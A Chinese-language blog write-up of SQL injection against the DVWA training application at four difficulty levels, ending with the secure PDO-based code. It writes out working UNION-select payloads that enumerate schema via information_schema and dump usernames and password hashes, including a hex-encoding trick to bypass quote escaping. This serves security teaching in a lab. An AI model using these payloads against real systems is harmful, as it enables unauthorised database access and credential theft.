DVWA之SQL注入

目录

1、级别:Low

1.1 寻找注入点

1.2 判断类型及闭合方式

 1.3 验证漏洞

 1.4 判断列数及回显位

1.5 获取数据

 2、级别:Medium

 2.1 查看闭合方式

 2.2 验证漏洞

 2.3 判断列数及回显位

 2.4 获取数据

3、级别:High

 4、级别:Impossible


1、级别:Low

1.1 寻找注入点

 这里很明显就是id

1.2 判断类型及闭合方式

判断注入点是数字型还是字符型

  输入1asdf无报错,说明为字符型,我们再输入1、2、3等数字,发现能够正常显示

 输入1',页面报错,说明该处为单引号闭合方式

字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合。 

Sql注入的分类:数字型+字符型 - LxRo_UX - 博客园

 1.3 验证漏洞

输入1' and 1#,能够正常显示信息

输入1' and 0#,无显示

可以证明存在漏洞

查看源代码

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}

?>

可以看到sql语句为   SELECT first_name, last_name FROM users WHERE user_id = '$id' 

 1.4 判断列数及回显位

通过order by看当前表中存在多少列,ORDER BY 语句用于根据指定的列对结果集进行排序。可以这么理解,如访问id=1 order by 3,页面返回与id=1相同的结果,输入id=1 order by 4,页面返回与id=1不同的结果,则字段数为3。

输入1' order by 3,出现报错,说明列数小于3

 输入1' order by 2,无报错,说明列数为2

 输入1' union select 1,2#,查看回显位

 

 我们可以通过回显位来得到自己想要的数据

1.5 获取数据

注:mysql5以上默认在数据库中存放一个information_schema 的数据库,这个数据库中,需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。

1、SCHEMATA表存储用户创建的所有数据库的库名,只要记住该表中的字段
SCHEMA_NAME,这个表中记录了数据库库名。

2、TABLES表存储用户创建的所有数据库 库名和表名,字段分别为:
TABLES_SCHEMA和TABLES_NAME。

3、COLUMNS表中存储用户创建的所有数据库的库名、表名、字段名,字段名分别为:
TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME.
 

获取数据库名:1' union select 1,database()#  (可以看到数据库名为dvwa)

 获取表名:1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')#   (表名分别为guestbook、users)

 获取列名:1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')# 

 获取字段值:1’ union Select user,password from users#

 我们以admin账户为例,解密得到密码

 2、级别:Medium

这里只有5个选项供我们选择,无法用输入框进行sql注入

我们使用bp进行抓包 

 如果发现127.0.0.1无法使用bp抓包,可以用win+R输入cmd,在输入ipconfig命令查看自己的IP地址,将127.0.0.1改为本地ip地址就可以使用bp成功抓包啦!

 2.1 查看闭合方式

把id=1改为id=1' ,页面报错 

 输入id=1''试试,同样报错,单引号被转义了

 我们输入id=1asdf,有报错说明注入点为数字型,无闭合

 2.2 验证漏洞

输入id=1 and 1#

 输入id=1 and 0#,证明漏洞存在

 2.3 判断列数及回显位

同上,我们能够判断列数仍然为2

 查看回显位

 2.4 获取数据

库名:id=1 union select 1,database()#

 表名:id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

 这里的单引号被转义了,所以我们无法使用table_schema='dvwa',我们用table_schema=database()进行代替

 列名:id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)#

0x7573657273是users的十六进制ascii码

 字段值:id=1 union Select user,password from users#

 

3、级别:High

改成了链接?点进去看看

 

 好像除了在新的窗口输入之外和low级别没有什么区别(应该就是为了防止bp抓包)

 获取数据库名

 表名

 列名

 字段值

 4、级别:Impossible

直接查看源代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch();

                // Make sure only 1 result is returned
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 2) {
                        $row = $result->fetchArray();

                        // Get values
                        $first = $row[ 'first_name' ];
                        $last  = $row[ 'last_name' ];

                        // Feedback for end user
                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                    }
                }

                break;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。

PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。

Dvwa之SQL 注入全级别学习笔记-IT Blog

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RexHarrr

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值